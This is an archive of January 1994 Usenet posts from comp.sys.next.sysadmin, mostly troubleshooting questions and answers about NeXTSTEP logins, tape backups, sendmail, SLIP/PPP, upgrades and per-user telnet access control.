Date: 22 Jan 1994 15:17:31 GMT
Organization: Brown University
Message-ID: <2hrg2b$c0g@cat.cis.Brown.EDU>
I just finished rebuilding my filesystem on a new hard disk after a total
failure of my boot disk. Unfortunately, I was missing one dumpfile in an
incremental chain, so I had to restore some files one at a time from
backup copies outside of my dump scheme. I had a lot of redundancy, and
I believe I restored everything (finally!), but I am still suspicious of
possible permissions problems that might be causing the following bizarre
behavior:
Our user accounts are joshua, debbie, me, and the root account. When
joshua logs out, and debbie then logs in, the Workspace Manager comes up,
all the right icons appear on the dock, and some of them (Mail.app and
Edit) launch. The other ones set for launch (Stuart.app, Eyecon, and
Backspace) are still in the launching process, highlighted, when the user
gets an alert panel: "Internal Error 3007. Proceed at your own risk."
The two options are Continue and Log Out, and no matter which one the user
presses the screen goes blank gray (cursor still intact), and the only
way to proceed is to restart the system with a nerve pinch.
This happens ONLY when joshua logs out and debbie then logs in; the
sequences joshua -> root -> debbie, joshua -> me -> debbie, and so on
result in a normal login for debbie. Me is user 20, joshua is 21, and
debbie is 22. Debbie owns all the files in her home directory, and her
home directory is shown correctly in UserManager. The behavior is
completely reproducible: whether joshua simply logs in and out, or
does several hours of work, he always leaves the machine in a state that
will hang debbie's login. We are running NS 2.1 on an '040 cube with a
single brand new internal hard drive.
Questions:
(1) Does anyone have the remotest idea what is going on?
(2) Where, in the on-line or the full paper documentation, are Workspace
internal error numbers documented? The only other one I have ever
seen is 3001, I think---from trying to overtax Display Postscript
with a ridiculous number of fonts in one document.
(3) For future troubleshooting purposes, where am I when the Workspace
Manager is blown away (plain gray screen) but I still have a cursor?
Where would I be if the cursor were gone? I've seen both conditions,
and would like to be able to learn from the distinction.
Any help would be _much_ appreciated. Please reply by posting or by mail
to <burton@het.brown.edu>. I'll report again when I've solved it.
2.998 x 10^10 cm/sec: |=================================================
It's not just a good | Joshua Burton (401)435-6370 burton@het.brown.edu
idea. It's the LAW. |=================================================
From: burton@het.brown.edu (Joshua W. Burton)
Newsgroups: comp.sys.next.sysadmin
Subject: Internal Error 3007 at login ???
Date: 22 Jan 1994 15:18:14 GMT
Organization: Brown University
Message-ID: <2hrg3m$c0h@cat.cis.Brown.EDU>
I just finished rebuilding my filesystem on a new hard disk after a total
failure of my boot disk. Unfortunately, I was missing one dumpfile in an
incremental chain, so I had to restore some files one at a time from
backup copies outside of my dump scheme. I had a lot of redundancy, and
I believe I restored everything (finally!), but I am still suspicious of
possible permissions problems that might be causing the following bizarre
behavior:
Our user accounts are joshua, debbie, me, and the root account. When
joshua logs out, and debbie then logs in, the Workspace Manager comes up,
all the right icons appear on the dock, and some of them (Mail.app and
Edit) launch. The other ones set for launch (Stuart.app, Eyecon, and
Backspace) are still in the launching process, highlighted, when the user
gets an alert panel: "Internal Error 3007. Proceed at your own risk."
The two options are Continue and Log Out, and no matter which one the user
presses the screen goes blank gray (cursor still intact), and the only
way to proceed is to restart the system with a nerve pinch.
This happens ONLY when joshua logs out and debbie then logs in; the
sequences joshua -> root -> debbie, joshua -> me -> debbie, and so on
result in a normal login for debbie. Me is user 20, joshua is 21, and
debbie is 22. Debbie owns all the files in her home directory, and her
home directory is shown correctly in UserManager. The behavior is
completely reproducible: whether joshua simply logs in and out, or
does several hours of work, he always leaves the machine in a state that
will hang debbie's login. We are running NS 2.1 on an '040 cube with a
single brand new internal hard drive.
Questions:
(1) Does anyone have the remotest idea what is going on?
(2) Where, in the on-line or the full paper documentation, are Workspace
internal error numbers documented? The only other one I have ever
seen is 3001, I think---from trying to overtax Display Postscript
with a ridiculous number of fonts in one document.
(3) For future troubleshooting purposes, where am I when the Workspace
Manager is blown away (plain gray screen) but I still have a cursor?
Where would I be if the cursor were gone? I've seen both conditions,
and would like to be able to learn from the distinction.
Any help would be _much_ appreciated. Please reply by posting or by mail
to <burton@het.brown.edu>. I'll report again when I've solved it.
2.998 x 10^10 cm/sec: |=================================================
It's not just a good | Joshua Burton (401)435-6370 burton@het.brown.edu
idea. It's the LAW. |=================================================
Newsgroups: comp.sys.next.sysadmin
From: dhowland@gpu.srv.ualberta.ca (Deborah Howland)
Subject: scsitools under NS 3.2 black
Message-ID: <dhowland.759262656@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
Date: Sat, 22 Jan 1994 18:17:36 GMT
Can anybody out there confirm or deny that the scsitools utilities
no longer function under NS 3.2 on black? I upgraded to 3.2 recently,
and just now attempted to get some sense data to help another netter
set his drive for 1K blocks. Lo and behold, sense now says:
Error setting target 0 lun 0
error opening scsi device
Running inquire now says:
Error setting target 0 lun 0
Error setting target 1 lun 0
Error setting target 3 lun 0
Error setting target 4 lun 0
Error setting target 7 lun 0
Error setting target 7 lun 1
Error setting target 7 lun 2
Error setting target 7 lun 3
Error setting target 7 lun 4
Error setting target 7 lun 5
Error setting target 7 lun 6
Error setting target 7 lun 7
I recompiled the programs, but got the same results. Ideas?
Royce Howland
dhowland@gpu.srv.ualberta.ca (wife's account)
From: disc@vector.casti.com (David Casti)
Newsgroups: comp.sys.next.sysadmin,comp.unix.admin,comp.unix.questions
Subject: Re: Improved telnetd anyone?
Followup-To: comp.sys.next.sysadmin,comp.unix.admin,comp.unix.questions
Date: 22 Jan 1994 18:59:03 GMT
Organization: The Gnomes of Zurich (shhh!)
Message-ID: <2hrt1n$hh3@news.intercon.com>
References: <2hbou9$63s@news.intercon.com> <2hdefdINNl3s@rodan.UU.NET> <2hei3oINNlmh@early-bird.think.com> <2higm7$pid@tesuque.cs.sandia.gov> <2hl644$9ul@oversteer.library.uwa.edu.au>
: Stefan Chakerian <schake@tesuque.cs.sandia.gov> wrote:
: >In article <2hei3oINNlmh@early-bird.think.com>,
: >Barry Margolin <barmar@think.com> wrote:
: >>In article <2hdefdINNl3s@rodan.UU.NET> alby@uunet.uu.net (Anthony Williams) writes:
: >>> The program TCP_WRAPPER on info.cert.org will allow or
: >>>deny any telnet's,ftp's,fingers, etc.. from any site you specify
: >>
: >>But he asked for something that would work on a per-user basis.
: >>TCP_WRAPPER uses the same allow/deny list for all connections to a port.
: >
: >Right, and there's no way to know who the user is since telnet asks for a
: >login. Probably, the tcp_wrapper is the way to go, otherwise you'd have
: >to hack telnetd to look in some sort of ACL.
Hang on... I think I was almost understood. :)
I don't care what user ID someone has on a remote system -- that would
come too close to trusting the remote host. Here is what I want to happen:
1. Someone from any arbitrary site connects via telnet to my box.
2. Username and password are checked.
3. THEN the IP address of the host they are telnetting from is compared
with a list of "approved" hosts for that user. If the check fails,
they are logged off.
TCP Wrappers doesn't fit my need because it checks things in the wrong
order (host is checked before user ID) and therefore hosts.allow and
hosts.deny operate on a per-machine basis, not a per-user basis.
Now, I can almost do what I want simply by parsing the output of netstat
-n. However, there is no way (that I can tell) to connect the output of
netstat with the [arbitrary] terminal that a user is attached to. Right
now I have figured out how to check to see if there is *anyone* logged on
from the approved host, but I can't tell how to see if a *specific* user
is logged on from a *specific* host using netstat.
I was thinking this would be a good job for telnetd/logind to do, and I
thought someone might already have a hacked up version which produces the
output I need.
One final note, I can't use the last command to do this checking, since
last resolves host names which are often truncated. If last stored IP
addresses instead, I could simply read the latest entry for that user in
the wtmp file and parse it. Maybe that is a simpler hack, but I don't
have the source...
Ideas?
David.
Newsgroups: comp.sys.next.sysadmin
From: gerald@kurt.in-berlin.de (Gerald Erdmann)
Subject: Re: NewsGrazer missing groups
Message-ID: <1994Jan21.111101.578@kurt.in-berlin.de>
Sender: gerald@kurt.in-berlin.de
References: <1994Jan19.214434.5961@slate.mines.colorado.edu>
Date: Fri, 21 Jan 1994 11:11:01 GMT
In article <1994Jan19.214434.5961@slate.mines.colorado.edu>
dbeausan@jet.Mines.Colorado.EDU (David G. Beausang) writes:
> I am having a problem with NewsGrazer. There are certain news groups
> which NewsGrazer does not display. For example, sci.astro is not
present,
> however, sci.astro.fits, sci.astro.hubble, and sci.astro.planetarium are
> present. Using another newsreader, for example tin, sci.astro is
present.
> (Another missing group is misc.jobs.offered; this group also has
> subgroups.) It appears that the problem is related to a group that also
> has a subgroup sharing a common name segment. The problem does not
affect
> all groups that have the stated relationship.
>
> Is this a configuration problem which is my fault and I can correct?
> Is this a known problem with/without a work around?
> Is there a more appropriate person/place to query?
>
Which type of displaying you use? Browser or list? If you use list than
take a look at your .newsrc file: Only groups followed by ':' are
displayed by NewsGrazer.
Change all group separators and it should be work :-)
Have fun
Gerald
--------------------------------------------------------------
| GERALD ERDMANN
| email: gerald @ kurt.in-berlin.de (NeXTmail welcome)
| voice: +49 30 372 43 10 (Germany - Berlin)
| crypt: pgp2 puplic key available
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From: wietse@wzv.win.tue.nl (Wietse Venema)
Newsgroups: comp.sys.next.sysadmin,comp.unix.admin,comp.unix.questions
Subject: Re: Improved telnetd anyone?
Date: 22 Jan 1994 23:18:25 +0100
Organization: Eindhoven University of Technology, The Netherlands
Message-ID: <2hs8nh$m9u@wzv.win.tue.nl>
References: <2hbou9$63s@news.intercon.com> <2hdefdINNl3s@rodan.UU.NET> <2hei3oINNlmh@early-bird.think.com> <2higm7$pid@tesuque.cs.sandia.gov> <2hl644$9ul@oversteer.library.uwa.edu.au> <2hrt1n$hh3@news.intercon.com>
disc@vector.casti.com (David Casti) writes:
>1. Someone from any arbitrary site connects via telnet to my box.
>2. Username and password are checked.
>3. THEN the IP address of the host they are telnetting from is compared
> with a list of "approved" hosts for that user. If the check fails,
> they are logged off.
It seems that the question has nothing to do with telnet, after all.
If you are on a SunOS/Ultrix or SysV.4.0-ish system my hacked login in
ftp.win.tue.nl:/pub/security/logdaemon-something.tar.Z might help. It
supports per-user/group and per-host/domain/network/tty restrictions.
Wietse
Newsgroups: comp.sys.next.sysadmin
Subject: Can't rdump
Message-ID: <1994Jan22.180156.603@earlham.edu>
From: tim@math.earlham.edu (Tim McLarnan)
Date: 22 Jan 94 18:01:55 EST
Distribution: world
Organization: Earlham College
I am an uninformed mathematician and volunteer sysdmin with an Exabyte
drive attached to a NeXT cube (polycarp) on a NetInfo network. A
second NeXT, bufo, is listed in /.rhosts and in /etc/hosts.equiv on
polycarp. Yet when I try to rdump, I get
bufo# rdump 0nfs polycarp:/dev/nrst0 1000000 /dev/rsd0a
DUMP: Date of this level 0 dump: Sat Jan 22 17:39:56 1994
DUMP: Date of last level 0 dump: the epoch
DUMP: Dumping /dev/rsd0a (/) to /dev/nrst0 on host polycarp
DUMP: mapping (Pass I) [regular files]
DUMP: mapping (Pass II) [directories]
DUMP: estimated 613679 tape blocks on 0.04 tape(s).
DUMP: Protocol to remote tape server botched (code `tty`: Ambiguous.
?).
rdump: Lost connection to remote host.
DUMP: Bad return code from dump: 1
What am I doing wrong? I somehow think I am getting bit by the way
NetInfo is handling the roots on the two machines.
Help?
Tim
From: dwalker@cup.portal.com (David - Walker)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Re: Removing NeXT Boot Manager
Message-ID: <101820@cup.portal.com>
Date: Sat, 22 Jan 94 16:38:18 PST
Organization: The Portal System (TM)
References: <132783@hydra.gatech.EDU>
Hi ......
You could use the DOS command FDISK /MBR (Make Boot Record), I think this will
work for you. It may, however, force you to use FDISK to activate the
partition you want to use. A time consuming process.
If you hear of a better boot manager on the net, let me know. I am in
search of one for my NeXT Step Intel machine.
-dwalker@shell.portal.com
Newsgroups: comp.sys.next.sysadmin
From: fozztexx@nvc.cc.ca.us (Chris Osborn)
Subject: Problem with SLIP_920904-A locking up
Message-ID: <CK1q51.4F6@nvc.cc.ca.us>
Sender: news@nvc.cc.ca.us
Organization: Napa Valley College
Date: Sat, 22 Jan 1994 19:29:25 GMT
I've been running SLIP_920904-A under 3.0, and now under 3.2, and have
been having a problem where it will occasionally lock up.
It will no longer do anything, and I will get the OACTIVE flag set. I
can't do a bringdown or kill it. About the only way to kill it is
either to switch the modem (a WorldBlazer) off and on, or to reboot
without syncing and killing processes.
I've been using SLIP_920904-A instead of the PNI, because I've needed
dial on demand.
--
Chris Osborn, Network Administrator Voice: 707 253 3130
Napa Valley College Fax: 707 253 3063
fozztexx@nvc.cc.ca.us
fozztexx@groucho.sonoma.edu MIME/NeXTMail ok at both
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From: fozztexx@nvc.cc.ca.us (Chris Osborn)
Subject: Need NFSExtend for 3.2
Message-ID: <CK1q73.4IG@nvc.cc.ca.us>
Sender: news@nvc.cc.ca.us
Organization: Napa Valley College
Date: Sat, 22 Jan 1994 19:30:39 GMT
Does anyone know where I can NFSExtend for 3.2? The version for 3.0
won't work because several of the files have moved under 3.2.
--
Chris Osborn, Network Administrator Voice: 707 253 3130
Napa Valley College Fax: 707 253 3063
fozztexx@nvc.cc.ca.us
fozztexx@groucho.sonoma.edu MIME/NeXTMail ok at both
From: kline@CS.Arizona.EDU (Nick Kline)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: how do i use wn-rtf to convert docs with pictures to rtfd or rtf
Followup-To: comp.sys.next.software
Date: 22 Jan 1994 20:39:54 -0700
Organization: University of Arizona CS Department, Tucson AZ
Message-ID: <2hsria$fcd@cheltenham.cs.arizona.edu>
How can I use WriteNow to convert wn files with pictures (which were
stored insubdirectories) into rtf or rtfd files?
When I try to convert it, I get an error message saying error 108
-error during conversion.
when I run it, wn-rtf -help I get
###wn-rtf - "-help" is not an option.
# Usage - wn-rtf [-p][-q] [[filename][[-a [appendix]][-d pathname]]] [-m] < [srcfilename ] > [dstfilename]
So what are -p, -q, -a, -d, -m for?
thanks,
nick
From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: MouseX
Date: 23 Jan 1994 07:48:07 GMT
Organization: Center for Computer Music Research and Composition, U.C.S.B.
Message-ID: <2hta3n$jcd@hub.ucsb.edu>
References: <CJwxFy.ME4.3@cs.cmu.edu>
In article <CJwxFy.ME4.3@cs.cmu.edu> anwar+@cs.cmu.edu (Anwar Mohammed) writes:
]
]
]I'm having the following problem with the MouseX front end
]app (Xfe.app) when I try to start X:
]
]XNextPaste: No such file or directory
]exec failed 2
]
]XNextPaste is in /usr/X11/bin, which in my path. Should
]it be somewhere else?
]
Yes. You have the path wrong: all X binaries should be in /usr/bin/X11.
Also, the X library stuff (fonts, etc.) must be in /usr/lib/X11, and the bitmap
directory must be in /usr/include/X11.
A soon-to-be-released new version of the front end App will let you set the
path via dwrite.
--
Douglas Scott | Senior Development Engineer
Tel: (805) 893-8352 | Center for Computer Music Research and Composition
Internet (NeXTMail ok): | Music Department
<doug@ccmrc.ucsb.edu> | University of California, Santa Barbara
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Sendmail Problem -- Upgrade related?
Message-ID: <2hovqc$dh8@algol.ksc.nasa.gov>
From: schafferj@snowmass.ksc.nasa.gov (James Schaffer)
Date: 21 Jan 1994 16:27:56 GMT
References: <CJLss0.DJA@newshub.ccs.yorku.ca>
Organization: NASA
I believe I might have somthing similar to David's problem.
I can send mail from the NeXT system but cannot receive
any mail from outside the local domain. I am including a copy
of my bounced message. Any help is appreciated.
----- Transcript of session follows -----
While connected to nexus.ksc.nasa.gov:
>>> HELO nexus.name ksc.nasa.gov
<<< 553 nexus.name ksc.nasa.gov config error: mail loops back to myself
554 <schaffer@nexus.ksc.nasa.gov>... 554 Service unavailable
From: disc@vector.casti.com (David Casti)
Newsgroups: comp.sys.next.sysadmin,comp.unix.admin,comp.unix.questions
Subject: Re: Improved telnetd anyone?
Followup-To: comp.sys.next.sysadmin,comp.unix.admin,comp.unix.questions
Date: 23 Jan 1994 14:11:03 GMT
Organization: The Gnomes of Zurich (shhh!)
Message-ID: <2hu0hn$pc2@news.intercon.com>
References: <2hbou9$63s@news.intercon.com> <2hdefdINNl3s@rodan.UU.NET> <2hei3oINNlmh@early-bird.think.com> <2higm7$pid@tesuque.cs.sandia.gov> <2hl644$9ul@oversteer.library.uwa.edu.au> <2hrt1n$hh3@news.intercon.com> <2hs8nh$m9u@wzv.win.tue.nl>
Wietse Venema (wietse@wzv.win.tue.nl) wrote:
: It seems that the question has nothing to do with telnet, after all.
I guess so. Looks like a logind question instead.
: If you are on a SunOS/Ultrix or SysV.4.0-ish system my hacked login in
: ftp.win.tue.nl:/pub/security/logdaemon-something.tar.Z might help. It
: supports per-user/group and per-host/domain/network/tty restrictions.
That code does exactly what I need. Now all I need is a version which
will run on my NeXT... If I manage to port it, I'll send you back the port.
Thanks,
David.
From: sela@iastate.edu
Newsgroups: comp.sys.next.sysadmin
Subject: virus checkers
Date: 23 Jan 1994 15:36:42 GMT
Organization: Iowa State University, Ames, Iowa
Distribution: world
Message-ID: <2hu5ia$p8o@news.iastate.edu>
Are there any virus checkers available for NS3.1 black?
--
*******************IOWA***STATE***UNIVERSITY********************
* Brian Morrison sela@iastate.edu (NeXT Mail welcome!) *
* --------------------------------------------------------- *
* He who throws mud loses ground. *
****************************************************************
From: toreh@bootes.sds.no (Tore Haraldsen)
Newsgroups: comp.sys.next.sysadmin
Subject: Changing root password on a lone NeXT [black]
Date: Sun, 23 Jan 1994 16:44:30
Organization: Statens Datasentral A/S, Norway
Message-ID: <toreh.2.0010BE0A@bootes.sds.no>
After a company merge, I have the pleasure of playing around with a lone black
next machine w/68040 cpu. The root password is lost in the mists of time, and
now I sit with all the 3.2 upgrades, and I cannot do them...
* I have tried to boot in single user more and do the passwd command. No use.
* I have tried the procedure outlined in the docs (boot to single user mode,
run the rc script and do passwd], only problem is, the machine goes into
multiuser and full graphics mode, so I cannot do the passwd command.
Any hints on fixing this, or do I have to go to a full scale installation on
the machine to gain comtrol over it?
I am used to ultrix workstations, so I speak BSD...
-- tore
Newsgroups: comp.sys.next.sysadmin
From: willers@butp.unibe.ch (Moritz Willers)
Subject: PB opens with sym-link path!
Message-ID: <1994Jan23.201431.20352@aragorn.unibe.ch>
Sender: willers@itp10 (Moritz Willers)
Organization: University of Bern
Date: Sun, 23 Jan 1994 20:14:31 GMT
Is the subject line clear? I guess not.
The problem is the following:
When double clicking a document in the Workspace most apps open it showing the
path as "~/douments/text.rtf" (mark the "~" for the HOME!).
When double clicking a "PB.project" PB opens it e.g. with the path
"/LocalDisk/Users/willers/projects/App/PB.project" which is true, the path I
double clicked it was "/Net/max/Users/willers/...".
"/Net/max" is linked to "/" and "/Users" is a link to "/LocalDisk/Users" (on an
extern HD drive).
So far fine. On a standalone machine this works. But imagine you want to have the
project build on a remote machine (which is faster and has nothing else to do).
PB comes up with the error "/LocalDisk/Users/will...: no such file or directory",
which again is true. The path should be "/Net/max/Users/...".
The problem would be solved when PB opened the files with "~" for the HOME.
Is there a way I can set up the filesystem to trick PB? Or is there another
workaround? Well, I can open them from within PB via cmd-o then PB sets the "~".
But what for do we have the Workspace?
I'm looking forward to your ideas - Moritz
Running NS3.2 black
--
Moritz Willers
Institut fuer theoretische Physik, Bern
email: willers@butp.unibe.ch
Newsgroups: comp.sys.next.sysadmin
From: coconut@crash.cts.com (Brian Dear)
Subject: Macs & NeXTs via Ethernet
Organization: CTS Network Services (CTSNET/crash), San Diego, CA
Date: 23 Jan 94 12:27:47 PST
Message-ID: <1994Jan23.122747.6795@crash>
We have a Quadra 840AV that we would like to add to our Ethernet
network (thinnet coax cable). Ultimately it would be nice if
we could get something like Eudora to run on the Mac so the Mac
user could send/receive email through our NeXTcube which acts as
our mail server.
Anyone have experience doing this? What's needed? Esp. on the
mac side.
Is there a Mac NFS capability? Not completely necessary; I
think we could get by with MacTCP and telnet/ftp for any file
transfers.
Any suggestions/comments welcome and appreciated.
Please do not email replies as my NeXTmail is DOWN (see my note
in comp.sys.next.misc regarding sendmail alises problems...)...
-- bd
Newsgroups: comp.sys.next.sysadmin
From: gsl@netcom.com (Greg Lindholm)
Subject: NS/FIP 3.1 -> 3.2 Upgrade?
Message-ID: <gslCK4805.AzE@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Mon, 24 Jan 1994 03:50:29 GMT
I have NS/FIP 3.1 installed and I want to "upgrade" to 3.2. Is there a
way to load 3.2 without wiping-out the current configuration?
I would like to perserve the home directories, user accounts etc. basicly
everything that is not a system directory.
Related question: If I install 3.2 on a different disk will it recognize
a disk that was created under 3.1? (Are the file systems compatable?)
TIA
Greg Lindholm
gsl@netcom.com
From: pakala@sdl.egr.uh.edu (Rama R. Pakala)
Newsgroups: comp.sys.next.sysadmin
Subject: A question of security ...
Date: 24 Jan 1994 04:26:25 GMT
Organization: University of Houston
Message-ID: <2hvilh$20l@menudo.uh.edu>
I had posted this earlier today, but it didn't make at my news-site.
So I am reposting this.
Hi,
I have a Gateway, with a DOS partition. I was worried about the
problems I could be having with someone trying to access the NeXT files
from within the DOS, using something like Norton Utilities. Is this
feasible? What can I do, short of removing the partition, to prevent
this? What all can a devious mind do from DOS which can harm my NeXT
filesystem? Any information would be greatly appreciated.
Rama.
pakala@tree.egr.uh.edu
--
Rama Rao Pakala, Systems Design Laboratory, W224-D3, College of
Engineering,
University of Houston
*******************************************
And the foreign student said to me,
Is it really true,
There are elephants and lions too,
Newsgroups: comp.sys.next.sysadmin
From: flash!jon@dsi.com
Subject: reply-to: question
Message-ID: <CK4EqM.C48@dsinc!flash>
Sender: jon@dsinc!flash (Jonathan Hendry)
Organization: Who Needs It?
Date: Mon, 24 Jan 1994 06:15:57 GMT
I suppose this is a general mailer question (for which I apologize).
Mail.app, or sendmail, or whatever, mungs my return address. I have the
Reply-To: address set as tjhendry@mcs.drexel.edu. When I send mail, my
Reply-To: address is listed as flash!mcs.drexel.edu!tjhendry.
How can I get Mail or sendmail to list my Reply-To: address correctly?
Thanks!
--
Jonathan W. Hendry Inexpensive NeXTSTEP Consulting
tjhendry@mcs.drexel.edu For Your "Not-So-Mission-Critical" Apps
From: dfh@guitar.ho.att.com (Dan Hurley)
Newsgroups: comp.sys.next.sysadmin
Subject: SUMMARY: Re: UserID collision management
Date: 24 Jan 1994 09:00:16 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9401241458.AA05197@guitar.ho.att.com>
Thanks to a number of people (esp, Eric Litman, Mark D. Doyle), I've learned
that the configuration file for the newuser process, nu.cf, can be edited to
set various parameters, including PWUserBase, which would appear to define the
minimum user id number. It is set to 100 by default. There is also
PWFillHoles flag which apparently tells nu to reuse userid of deleted users
(when set to "1") from PWUserBase forward.
I haven't had a chance to test it yet.
Mike Matthews pointed out that UserManager checks for collisions within the
particular domain.
THANKS,
Dan Hurley
Newsgroups: comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.sysadmin
From: wissner@beech.csis.gvsu.edu (Jim Wissner)
Subject: Anyone using Canon BJC-600 on NS/fip? I guess it's the best...
Message-ID: <1994Jan24.150533.27985@beech.csis.gvsu.edu>
Sender: news@beech.csis.gvsu.edu
Organization: Grand Valley State University, Allendale MI
Date: Mon, 24 Jan 1994 15:05:33 GMT
Has anybody been able (or even tried?) to get the Canon bjc-600 to
work on NS/fip? It isn't on "Dot's" list of supported printers,
but I thought perhaps it might emulate a printer that is supported.
I was going to get the HP 550c, but I talked to about five
different vendors who sell both, and without exception they all said
that the Canon is clearly a superior printer... (there's very
little price difference; they are both under 1k).
Thanks,
Jim
From: takken@raven.Stanford.EDU (Todd Takken)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NS/FIP 3.1 -> 3.2 Upgrade?
Date: 24 Jan 1994 08:36:11 GMT
Organization: Stanford University
Distribution: su
Message-ID: <2i019r$bpm@nntp2.Stanford.EDU>
References: <gslCK4805.AzE@netcom.com>
In article <gslCK4805.AzE@netcom.com> gsl@netcom.com (Greg Lindholm)
writes:
> I have NS/FIP 3.1 installed and I want to "upgrade" to 3.2. Is there a
> way to load 3.2 without wiping-out the current configuration?
> I would like to perserve the home directories, user accounts etc basicly
> everything that is not a system directory.
Yes. Just open up the folder on the CD with the upgrade application.
Double click and you're done. It's relatively painless. None of the
configurations (user accounts, preferences settings, non-system
directories) are affected.
> Related question: If I install 3.2 on a different disk will it recognize
> a disk that was created under 3.1? (Are the file systems compatable?)
Yes it will. Yes they are.
-- Todd Takken
takken@leland.stanford.edu
From: ray@tiberius (Ray Ghanbari)
Newsgroups: comp.sys.next.sysadmin
Subject: Tape problems
Date: 24 Jan 1994 16:41:46 GMT
Organization: Mayo Foundation, Rochester, MN
Distribution: world
Message-ID: <2i0toa$i89@fermat.mayo.edu>
Hi Folks,
I'm having some problems archiving data to a DAT drive, but I am not
experienced enough with tape archiving to know if I am having a
command syntax problem, a problem with the tape driver, a faulty tape
drive, or something else.
Details:
NS/Intel 3.2 running on an Intel GX/P with Adaptec 1542 SCSI card.
Exabyte EXB-4200c 4mm DAT drive on the SCSI chain with 1 external harddrive
I can create archives using gnutar and tar with no problems. However,
when I try to append to archives already on a tape, I invariably get
an I/O error. Here is an example:
root:20# tar cvf /dev/rst0 test.spg
a test.spg 152 blocks
root:21# tar rvf /dev/rst0 test2.spg
tar: tape backspace error: I/O error
root:22# tar tvf /dev/rst0
rw-r--r-- 0/1 77620 Jan 24 10:09 1994 test.spg
root:23#
gnutar reports an I/O error after seeking to the end of the archive,
without any other hints as to what is happening.
I can extract archived files without problems.
In summary, I can create archives and extract archives using gnutar
and tar, but I can not append to existing tape archives. Any
suggestions?
Thanks
Ray Ghanbari
Mayo Foundation
ray@mayo.edu (NeXTmail OK)
--
Ray Ghanbari
Mayo Foundation
ray@mayo.edu
From: gerti@tms-gmbh.de (Gerd Knops)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: reply-to: question
Date: 24 Jan 1994 11:21:39 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9401241643.AA05921@Cranach.tms-gmbh.de>
I had the same problem of mail adresses:
user@domain
got converted to:
machine!domain!user
By try and error, i got rid of this by changing something in the
sendmail.mailhost.cf:
Find this:
############################################################
#####
##### UUCP Mailer specification
#####
Muucp, P=/usr/bin/uux, F=msDFMhuU, S=13, R=23, E=\n,
A=uux - -r $h!rmail ($u)
# Convert uucp sender (From) field
S13
R$+ $:$>5$1 convert to
old style
R$=w!$+ $2 strip local
name
R$+ $:$w!$1 stick on real
host name
and change the last line to:
R$+ $:$m!$1 stick on real
host name
It worked on three systems sofar, but since I generally don't have
any idea about sendmail: DON'T BLAME ME!
gerd
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: fineman@cs.washington.edu (Daniel Fineman)
Subject: Can you change the default app for any given file type?
Message-ID: <1994Jan24.180058.26018@beaver.cs.washington.edu>
Keywords: app
Sender: news@beaver.cs.washington.edu (USENET News System)
Organization: Computer Science & Engy. of Washington, Seattle
Date: Mon, 24 Jan 94 18:00:58 GMT
Hey all - i recently downloaded Emacs for NeXTStep, and i'd much
rather have text files loaded into Emacs than Edit when you
double-click on them. Can you change this somehow? I can't see a way
to change any of this in the workspace preferences.... there's only
one option for which app to open - how can you add another one?
thanx
dan -- ascii please.
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Can't rdump
Date: 23 Jan 1994 11:53:57 +0100
Organization: Palumbian Research Labs
Message-ID: <2htl05$ag@marsu.tynet.sub.org>
References: <1994Jan22.180156.603@earlham.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
tim@math.earlham.edu (Tim McLarnan) writes:
>I am an uninformed mathematician and volunteer sysdmin with an Exabyte
>drive attached to a NeXT cube (polycarp) on a NetInfo network. A
>bufo# rdump 0nfs polycarp:/dev/nrst0 1000000 /dev/rsd0a
^^^^^^
>What am I doing wrong?
RTFM!
Exabyte devices are named /dev/nrxt0.
Regards,
Markus.
--
Marsu: "There really exist some people who live happily and satis-
fied without computers." -- Frankie: "Oh no, they just emulate it!"
-----
Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Intel aside.
Newsgroups: comp.sys.next.sysadmin
From: amir@avalon.unizh.ch
Subject: PPP and NSfIP 3.2
Message-ID: <2i19bh$n1@titan>
Summary: A request for information on ppp for NSfIP 3.2
Keywords: ppp NSfIP 3.2
Sender: news@ifi.unizh.ch (USENET News Admin)
Organization: Titan InterNetNews site
Date: Mon, 24 Jan 1994 19:59:45 GMT
Did anyone succed to get up a ppp connection with NextStep 3.2 for Intel ?
I tried the ppp-0.3.tar.gz code, but my host everytime reboots after connecting
and receiving the first REAL packet from a telnet or something like that.
It's very stable, when I put up the line but don't use it ;-(((
I would be happy for any hints!
Or is there any other software for ppp or even ppp with dial on command?
Thanks in advance
- Amir
PS: Please email, I will post a summary.
--
Guindehi Amir Internet: amir@avalon.unizh.ch
---------------------------------------------------------------------
I know you believe you understand what you think I said,
but I am sure, you realize, that what you heard is not what I meant.
From: magnus@fisher.Stanford.EDU (Magnus Nordborg)
Newsgroups: comp.sys.next.sysadmin
Subject: SUMMARY: Will a Fujitsu M2266SA 1.2GB drive work?
Date: 24 Jan 1994 19:56:31 GMT
Organization: Department of Biological Sciences, Stanford University
Distribution: world
Message-ID: <MAGNUS.94Jan24115631@fisher.Stanford.EDU>
In article <MAGNUS.94Jan14141317@fisher.Stanford.EDU> I wrote:
> I have a Fujitsu M2266SA 1.2GB hard drive and an EXABYTE 8200 together
> in a unit from R^2. It is presently hooked up to a Sparc. Can I just
> take it off, and hook it to a black NeXT running 3.2? Any problems
> with either device? Do I need to re-format the disk?
Thanks for all answers. I was able to hook the unit directly onto a
NeXT Turbo (after getting the appropriate cables). Workspace reports
the drive as unreadable and asks if you want to initialize (that is; do
a newfs). Less than a minute later the drive is there. It just
works. In the event, I ended up using the sdformat utility from the
archives anyway to do a low-level format (to 1024). In this case I
only gained fifty or so MB's.
